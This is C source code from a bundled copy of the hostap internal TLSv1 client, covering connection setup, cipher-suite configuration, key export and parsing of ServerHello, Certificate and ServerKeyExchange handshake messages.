TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type " "0x%x", pos[0]); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } olen = out_end - out_pos; res = tlsv1_record_receive(&conn->rl, pos, in_end - pos, out_pos, &olen, &alert); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record layer processing " "failed"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); return -1; } out_pos += olen; if (out_pos > out_end) { wpa_printf(MSG_DEBUG, "TLSv1: Buffer not large enough " "for processing the received record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } return out_pos - out_data; } /** * tlsv1_client_global_init - Initialize TLSv1 client * Returns: 0 on success, -1 on failure * * This function must be called before using any other TLSv1 client functions. */ int tlsv1_client_global_init(void) { return crypto_global_init(); } /** * tlsv1_client_global_deinit - Deinitialize TLSv1 client * * This function can be used to deinitialize the TLSv1 client that was * initialized by calling tlsv1_client_global_init(). No TLSv1 client functions * can be called after this before calling tlsv1_client_global_init() again. */ void tlsv1_client_global_deinit(void) { crypto_global_deinit(); } /** * tlsv1_client_init - Initialize TLSv1 client connection * Returns: Pointer to TLSv1 client connection data or %NULL on failure */ struct tlsv1_client * tlsv1_client_init(void) { struct tlsv1_client *conn; size_t count; u16 *suites; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize verify " "hash"); os_free(conn); return NULL; } count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_MD5; conn->num_cipher_suites = count; return conn; } /** * tlsv1_client_deinit - Deinitialize TLSv1 client connection * @conn: TLSv1 client connection data from tlsv1_client_init() */ void tlsv1_client_deinit(struct tlsv1_client *conn) { crypto_public_key_free(conn->server_rsa_key); tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); tlsv1_record_change_write_cipher(&conn->rl); tlsv1_record_change_read_cipher(&conn->rl); tls_verify_hash_free(&conn->verify); os_free(conn->client_hello_ext); tlsv1_client_free_dh(conn); tlsv1_cred_free(conn->cred); os_free(conn); } /** * tlsv1_client_established - Check whether connection has been established * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: 1 if connection is established, 0 if not */ int tlsv1_client_established(struct tlsv1_client *conn) { return conn->state == ESTABLISHED; } /** * tlsv1_client_prf - Use TLS-PRF to derive keying material * @conn: TLSv1 client connection data from tlsv1_client_init() * @label: Label (e.g., description of the key) for PRF * @server_random_first: seed is 0 = client_random|server_random, * 1 = server_random|client_random * @out: Buffer for output data from TLS-PRF * @out_len: Length of the output buffer * Returns: 0 on success, -1 on failure */ int tlsv1_client_prf(struct tlsv1_client *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { u8 seed[2 * TLS_RANDOM_LEN]; if (conn->state != ESTABLISHED) return -1; if (server_random_first) { os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); } else { os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); } return tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, label, seed, 2 * TLS_RANDOM_LEN, out, out_len); } /** * tlsv1_client_get_cipher - Get current cipher name * @conn: TLSv1 client connection data from tlsv1_client_init() * @buf: Buffer for the cipher name * @buflen: buf size * Returns: 0 on success, -1 on failure * * Get the name of the currently used cipher. */ int tlsv1_client_get_cipher(struct tlsv1_client *conn, char *buf, size_t buflen) { char *cipher; switch (conn->rl.cipher_suite) { case TLS_RSA_WITH_RC4_128_MD5: cipher = "RC4-MD5"; break; case TLS_RSA_WITH_RC4_128_SHA: cipher = "RC4-SHA"; break; case TLS_RSA_WITH_DES_CBC_SHA: cipher = "DES-CBC-SHA"; break; case TLS_RSA_WITH_3DES_EDE_CBC_SHA: cipher = "DES-CBC3-SHA"; break; case TLS_DH_anon_WITH_AES_128_CBC_SHA: cipher = "ADH-AES-128-SHA"; break; case TLS_RSA_WITH_AES_256_CBC_SHA: cipher = "AES-256-SHA"; break; case TLS_RSA_WITH_AES_128_CBC_SHA: cipher = "AES-128-SHA"; break; default: return -1; } if (os_strlcpy(buf, cipher, buflen) >= buflen) return -1; return 0; } /** * tlsv1_client_shutdown - Shutdown TLS connection * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: 0 on success, -1 on failure */ int tlsv1_client_shutdown(struct tlsv1_client *conn) { conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to re-initialize verify " "hash"); return -1; } tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); tlsv1_record_change_write_cipher(&conn->rl); tlsv1_record_change_read_cipher(&conn->rl); conn->certificate_requested = 0; crypto_public_key_free(conn->server_rsa_key); conn->server_rsa_key = NULL; conn->session_resumed = 0; return 0; } /** * tlsv1_client_resumed - Was session resumption used * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: 1 if current session used session resumption, 0 if not */ int tlsv1_client_resumed(struct tlsv1_client *conn) { return !!conn->session_resumed; } /** * tlsv1_client_hello_ext - Set TLS extension for ClientHello * @conn: TLSv1 client connection data from tlsv1_client_init() * @ext_type: Extension type * @data: Extension payload (%NULL to remove extension) * @data_len: Extension payload length * Returns: 0 on success, -1 on failure */ int tlsv1_client_hello_ext(struct tlsv1_client *conn, int ext_type, const u8 *data, size_t data_len) { u8 *pos; conn->session_ticket_included = 0; os_free(conn->client_hello_ext); conn->client_hello_ext = NULL; conn->client_hello_ext_len = 0; if (data == NULL || data_len == 0) return 0; pos = conn->client_hello_ext = os_malloc(6 + data_len); if (pos == NULL) return -1; WPA_PUT_BE16(pos, 4 + data_len); pos += 2; WPA_PUT_BE16(pos, ext_type); pos += 2; WPA_PUT_BE16(pos, data_len); pos += 2; os_memcpy(pos, data, data_len); conn->client_hello_ext_len = 6 + data_len; if (ext_type == TLS_EXT_PAC_OPAQUE) { conn->session_ticket_included = 1; wpa_printf(MSG_DEBUG, "TLSv1: Using session ticket"); } return 0; } /** * tlsv1_client_get_keys - Get master key and random data from TLS connection * @conn: TLSv1 client connection data from tlsv1_client_init() * @keys: Structure of key/random data (filled on success) * Returns: 0 on success, -1 on failure */ int tlsv1_client_get_keys(struct tlsv1_client *conn, struct tls_keys *keys) { os_memset(keys, 0, sizeof(*keys)); if (conn->state == CLIENT_HELLO) return -1; keys->client_random = conn->client_random; keys->client_random_len = TLS_RANDOM_LEN; if (conn->state != SERVER_HELLO) { keys->server_random = conn->server_random; keys->server_random_len = TLS_RANDOM_LEN; keys->master_key = conn->master_secret; keys->master_key_len = TLS_MASTER_SECRET_LEN; } return 0; } /** * tlsv1_client_get_keyblock_size - Get TLS key_block size * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: Size of the key_block for the negotiated cipher suite or -1 on * failure */ int tlsv1_client_get_keyblock_size(struct tlsv1_client *conn) { if (conn->state == CLIENT_HELLO || conn->state == SERVER_HELLO) return -1; return 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); } /** * tlsv1_client_set_cipher_list - Configure acceptable cipher suites * @conn: TLSv1 client connection data from tlsv1_client_init() * @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers * (TLS_CIPHER_*). * Returns: 0 on success, -1 on failure */ int tlsv1_client_set_cipher_list(struct tlsv1_client *conn, u8 *ciphers) { size_t count; u16 *suites; /* TODO: implement proper configuration of cipher suites */ if (ciphers[0] == TLS_CIPHER_ANON_DH_AES128_SHA) { count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_DH_anon_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_RC4_128_MD5; suites[count++] = TLS_DH_anon_WITH_DES_CBC_SHA; /* * Cisco AP (at least 350 and 1200 series) local authentication * server does not know how to search cipher suites from the * list and seem to require that the last entry in the list is * the one that it wants to use. However, TLS specification * requires the list to be in the client preference order. As a * workaround, add anon-DH AES-128-SHA1 again at the end of the * list to allow the Cisco code to find it. */ suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; conn->num_cipher_suites = count; } return 0; } /** * tlsv1_client_set_cred - Set client credentials * @conn: TLSv1 client connection data from tlsv1_client_init() * @cred: Credentials from tlsv1_cred_alloc() * Returns: 0 on success, -1 on failure * * On success, the client takes ownership of the credentials block and caller * must not free it. On failure, caller is responsible for freeing the * credential block. */ int tlsv1_client_set_cred(struct tlsv1_client *conn, struct tlsv1_credentials *cred) { tlsv1_cred_free(conn->cred); conn->cred = cred; return 0; } void tlsv1_client_set_session_ticket_cb(struct tlsv1_client *conn, tlsv1_client_session_ticket_cb cb, void *ctx) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback set %p (ctx %p)", cb, ctx); conn->session_ticket_cb = cb; conn->session_ticket_cb_ctx = ctx; } bully-1.4-00/src/tls/tlsv1_client.h000077500000000000000000000042341361530463600171100ustar00rootroot00000000000000/* * TLSv1 client (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_CLIENT_H #define TLSV1_CLIENT_H #include "tlsv1_cred.h" struct tlsv1_client; int tlsv1_client_global_init(void); void tlsv1_client_global_deinit(void); struct tlsv1_client * tlsv1_client_init(void); void tlsv1_client_deinit(struct tlsv1_client *conn); int tlsv1_client_established(struct tlsv1_client *conn); int tlsv1_client_prf(struct tlsv1_client *conn, const char *label, int server_random_first, u8 *out, size_t out_len); u8 * tlsv1_client_handshake(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, size_t *out_len, u8 **appl_data, size_t *appl_data_len); int tlsv1_client_encrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_client_decrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_client_get_cipher(struct tlsv1_client *conn, char *buf, size_t buflen); int tlsv1_client_shutdown(struct tlsv1_client *conn); int tlsv1_client_resumed(struct tlsv1_client *conn); int tlsv1_client_hello_ext(struct tlsv1_client *conn, int ext_type, const u8 *data, size_t data_len); int tlsv1_client_get_keys(struct tlsv1_client *conn, struct tls_keys *keys); int tlsv1_client_get_keyblock_size(struct tlsv1_client *conn); int tlsv1_client_set_cipher_list(struct tlsv1_client *conn, u8 *ciphers); int tlsv1_client_set_cred(struct tlsv1_client *conn, struct tlsv1_credentials *cred); typedef int (*tlsv1_client_session_ticket_cb) (void *ctx, const u8 *ticket, size_t len, const u8 *client_random, const u8 *server_random, u8 *master_secret); void tlsv1_client_set_session_ticket_cb(struct tlsv1_client *conn, tlsv1_client_session_ticket_cb cb, void *ctx); #endif /* TLSV1_CLIENT_H */ bully-1.4-00/src/tls/tlsv1_client_i.h000077500000000000000000000047221361530463600174220ustar00rootroot00000000000000/* * TLSv1 client - internal structures * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_CLIENT_I_H #define TLSV1_CLIENT_I_H struct tlsv1_client { enum { CLIENT_HELLO, SERVER_HELLO, SERVER_CERTIFICATE, SERVER_KEY_EXCHANGE, SERVER_CERTIFICATE_REQUEST, SERVER_HELLO_DONE, CLIENT_KEY_EXCHANGE, CHANGE_CIPHER_SPEC, SERVER_CHANGE_CIPHER_SPEC, SERVER_FINISHED, ACK_FINISHED, ESTABLISHED, FAILED } state; struct tlsv1_record_layer rl; u8 session_id[TLS_SESSION_ID_MAX_LEN]; size_t session_id_len; u8 client_random[TLS_RANDOM_LEN]; u8 server_random[TLS_RANDOM_LEN]; u8 master_secret[TLS_MASTER_SECRET_LEN]; u8 alert_level; u8 alert_description; unsigned int certificate_requested:1; unsigned int session_resumed:1; unsigned int session_ticket_included:1; unsigned int use_session_ticket:1; struct crypto_public_key *server_rsa_key; struct tls_verify_hash verify; #define MAX_CIPHER_COUNT 30 u16 cipher_suites[MAX_CIPHER_COUNT]; size_t num_cipher_suites; u16 prev_cipher_suite; u8 *client_hello_ext; size_t client_hello_ext_len; /* The prime modulus used for Diffie-Hellman */ u8 *dh_p; size_t dh_p_len; /* The generator used for Diffie-Hellman */ u8 *dh_g; size_t dh_g_len; /* The server's Diffie-Hellman public value */ u8 *dh_ys; size_t dh_ys_len; struct tlsv1_credentials *cred; tlsv1_client_session_ticket_cb session_ticket_cb; void *session_ticket_cb_ctx; }; void tls_alert(struct tlsv1_client *conn, u8 level, u8 description); void tlsv1_client_free_dh(struct tlsv1_client *conn); int tls_derive_pre_master_secret(u8 *pre_master_secret); int tls_derive_keys(struct tlsv1_client *conn, const u8 *pre_master_secret, size_t pre_master_secret_len); u8 * tls_send_client_hello(struct tlsv1_client *conn, size_t *out_len); u8 * tlsv1_client_send_alert(struct tlsv1_client *conn, u8 level, u8 description, size_t *out_len); u8 * tlsv1_client_handshake_write(struct tlsv1_client *conn, size_t *out_len, int no_appl_data); int tlsv1_client_process_handshake(struct tlsv1_client *conn, u8 ct, const u8 *buf, size_t *len, u8 **out_data, size_t *out_len); #endif /* TLSV1_CLIENT_I_H */ bully-1.4-00/src/tls/tlsv1_client_read.c000077500000000000000000000626051361530463600201040ustar00rootroot00000000000000/* * TLSv1 client - read handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_client.h" #include "tlsv1_client_i.h" static int tls_process_server_key_exchange(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_certificate_request(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_server_hello_done(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_server_hello(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, i; u16 cipher_suite; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) goto decode_error; /* HandshakeType msg_type */ if (*pos != TLS_HANDSHAKE_TYPE_SERVER_HELLO) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ServerHello)", *pos); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ServerHello"); pos++; /* uint24 length */ len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) goto decode_error; /* body - ServerHello */ wpa_hexdump(MSG_MSGDUMP, "TLSv1: ServerHello", pos, len); end = pos + len; /* ProtocolVersion server_version */ if (end - pos < 2) goto decode_error; if (WPA_GET_BE16(pos) != TLS_VERSION) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version in " "ServerHello"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_PROTOCOL_VERSION); return -1; } pos += 2; /* Random random */ if (end - pos < TLS_RANDOM_LEN) goto decode_error; os_memcpy(conn->server_random, pos, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: server_random", conn->server_random, TLS_RANDOM_LEN); /* SessionID session_id */ if (end - pos < 1) goto decode_error; if (end - pos < 1 + *pos || *pos > TLS_SESSION_ID_MAX_LEN) goto decode_error; if (conn->session_id_len && conn->session_id_len == *pos && os_memcmp(conn->session_id, pos + 1, conn->session_id_len) == 0) { pos += 1 + conn->session_id_len; wpa_printf(MSG_DEBUG, "TLSv1: Resuming old session"); conn->session_resumed = 1; } else { conn->session_id_len = *pos; pos++; os_memcpy(conn->session_id, pos, conn->session_id_len); pos += conn->session_id_len; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: session_id", conn->session_id, conn->session_id_len); /* CipherSuite cipher_suite */ if (end - pos < 2) goto decode_error; cipher_suite = WPA_GET_BE16(pos); pos += 2; for (i = 0; i < conn->num_cipher_suites; i++) { if (cipher_suite == conn->cipher_suites[i]) break; } if (i == conn->num_cipher_suites) { wpa_printf(MSG_INFO, "TLSv1: Server selected unexpected " "cipher suite 0x%04x", cipher_suite); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (conn->session_resumed && cipher_suite != conn->prev_cipher_suite) { wpa_printf(MSG_DEBUG, "TLSv1: Server selected a different " "cipher suite for a resumed connection (0x%04x != " "0x%04x)", cipher_suite, conn->prev_cipher_suite); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (tlsv1_record_set_cipher_suite(&conn->rl, cipher_suite) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set CipherSuite for " "record layer"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->prev_cipher_suite = cipher_suite; /* CompressionMethod compression_method */ if (end - pos < 1) goto decode_error; if (*pos != TLS_COMPRESSION_NULL) { wpa_printf(MSG_INFO, "TLSv1: Server selected unexpected " "compression 0x%02x", *pos); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } pos++; if (end != pos) { /* TODO: ServerHello extensions */ wpa_hexdump(MSG_DEBUG, "TLSv1: Unexpected extra data in the " "end of ServerHello", pos, end - pos); goto decode_error; } if (conn->session_ticket_included && conn->session_ticket_cb) { /* TODO: include SessionTicket extension if one was included in * ServerHello */ int res = conn->session_ticket_cb( conn->session_ticket_cb_ctx, NULL, 0, conn->client_random, conn->server_random, conn->master_secret); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback " "indicated failure"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_HANDSHAKE_FAILURE); return -1; } conn->use_session_ticket = !!res; } if ((conn->session_resumed || conn->use_session_ticket) && tls_derive_keys(conn, NULL, 0)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *in_len = end - in_data; conn->state = (conn->session_resumed || conn->use_session_ticket) ? SERVER_CHANGE_CIPHER_SPEC : SERVER_CERTIFICATE; return 0; decode_error: wpa_printf(MSG_DEBUG, "TLSv1: Failed to decode ServerHello"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } static int tls_process_certificate(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, list_len, cert_len, idx; u8 type; struct x509_certificate *chain = NULL, *last = NULL, *cert; int reason; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate message " "(len=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected Certificate message " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (type == TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE) return tls_process_server_key_exchange(conn, ct, in_data, in_len); if (type == TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) return tls_process_certificate_request(conn, ct, in_data, in_len); if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) return tls_process_server_hello_done(conn, ct, in_data, in_len); if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected Certificate/" "ServerKeyExchange/CertificateRequest/" "ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Certificate (certificate_list len %lu)", (unsigned long) len); /* * opaque ASN.1Cert<2^24-1>; * * struct { * ASN.1Cert certificate_list<1..2^24-1>; * } Certificate; */ end = pos + len; if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate " "(left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } list_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) != list_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate_list " "length (len=%lu left=%lu)", (unsigned long) list_len, (unsigned long) (end - pos)); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } idx = 0; while (pos < end) { if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "certificate_list"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } cert_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) < cert_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate " "length (len=%lu left=%lu)", (unsigned long) cert_len, (unsigned long) (end - pos)); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Certificate %lu (len %lu)", (unsigned long) idx, (unsigned long) cert_len); if (idx == 0) { crypto_public_key_free(conn->server_rsa_key); if (tls_parse_cert(pos, cert_len, &conn->server_rsa_key)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } } cert = x509_certificate_parse(pos, cert_len); if (cert == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } if (last == NULL) chain = cert; else last->next = cert; last = cert; idx++; pos += cert_len; } if (conn->cred && x509_certificate_chain_validate(conn->cred->trusted_certs, chain, &reason) < 0) { int tls_reason; wpa_printf(MSG_DEBUG, "TLSv1: Server certificate chain " "validation failed (reason=%d)", reason); switch (reason) { case X509_VALIDATE_BAD_CERTIFICATE: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; case X509_VALIDATE_UNSUPPORTED_CERTIFICATE: tls_reason = TLS_ALERT_UNSUPPORTED_CERTIFICATE; break; case X509_VALIDATE_CERTIFICATE_REVOKED: tls_reason = TLS_ALERT_CERTIFICATE_REVOKED; break; case X509_VALIDATE_CERTIFICATE_EXPIRED: tls_reason = TLS_ALERT_CERTIFICATE_EXPIRED; break; case X509_VALIDATE_CERTIFICATE_UNKNOWN: tls_reason = TLS_ALERT_CERTIFICATE_UNKNOWN; break; case X509_VALIDATE_UNKNOWN_CA: tls_reason = TLS_ALERT_UNKNOWN_CA; break; default: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; } tls_alert(conn, TLS_ALERT_LEVEL_FATAL, tls_reason); x509_certificate_chain_free(chain); return -1; } x509_certificate_chain_free(chain); *in_len = end - in_data; conn->state = SERVER_KEY_EXCHANGE; return 0; } static int tlsv1_process_diffie_hellman(struct tlsv1_client *conn, const u8 *buf, size_t len) { const u8 *pos, *end; tlsv1_client_free_dh(conn); pos = buf; end = buf + len; if (end - pos < 3) goto fail; conn->dh_p_len = WPA_GET_BE16(pos); pos += 2; if (conn->dh_p_len == 0 || end - pos < (int) conn->dh_p_len) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid dh_p length %lu", (unsigned long) conn->dh_p_len); goto fail; } conn->dh_p = os_malloc(conn->dh_p_len); if (conn->dh_p == NULL) goto fail; os_memcpy(conn->dh_p, pos, conn->dh_p_len); pos += conn->dh_p_len; wpa_hexdump(MSG_DEBUG, "TLSv1: DH p (prime)", conn->dh_p, conn->dh_p_len); if (end - pos < 3) goto fail; conn->dh_g_len = WPA_GET_BE16(pos); pos += 2; if (conn->dh_g_len == 0 || end - pos < (int) conn->dh_g_len) goto fail; conn->dh_g = os_malloc(conn->dh_g_len); if (conn->dh_g == NULL) goto fail; os_memcpy(conn->dh_g, pos, conn->dh_g_len); pos += conn->dh_g_len; wpa_hexdump(MSG_DEBUG, "TLSv1: DH g (generator)", conn->dh_g, conn->dh_g_len); if (conn->dh_g_len == 1 && conn->dh_g[0] < 2) goto fail; if (end - pos < 3) goto fail; conn->dh_ys_len = WPA_GET_BE16(pos); pos += 2; if (conn->dh_ys_len == 0 || end - pos < (int) conn->dh_ys_len) goto fail; conn->dh_ys = os_malloc(conn->dh_ys_len); if (conn->dh_ys == NULL) goto fail; os_memcpy(conn->dh_ys, pos, conn->dh_ys_len); pos += conn->dh_ys_len; wpa_hexdump(MSG_DEBUG, "TLSv1: DH Ys (server's public value)", conn->dh_ys, conn->dh_ys_len); return 0; fail: wpa_printf(MSG_DEBUG, "TLSv1: Processing DH params failed"); tlsv1_client_free_dh(conn); return -1; } static int tls_process_server_key_exchange(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; const struct tls_cipher_suite *suite; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ServerKeyExchange " "(Left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ServerKeyExchange " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type == TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) return tls_process_certificate_request(conn, ct, in_data, in_len); if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) return tls_process_server_hello_done(conn, ct, in_data, in_len); if (type != TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ServerKeyExchange/" "CertificateRequest/ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ServerKeyExchange"); if (!tls_server_key_exchange_allowed(conn->rl.cipher_suite)) { wpa_printf(MSG_DEBUG, "TLSv1: ServerKeyExchange not allowed " "with the selected cipher suite"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: ServerKeyExchange", pos, len); suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite && suite->key_exchange == TLS_KEY_X_DH_anon) { if (tlsv1_process_diffie_hellman(conn, pos, len) < 0) { tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } } else { 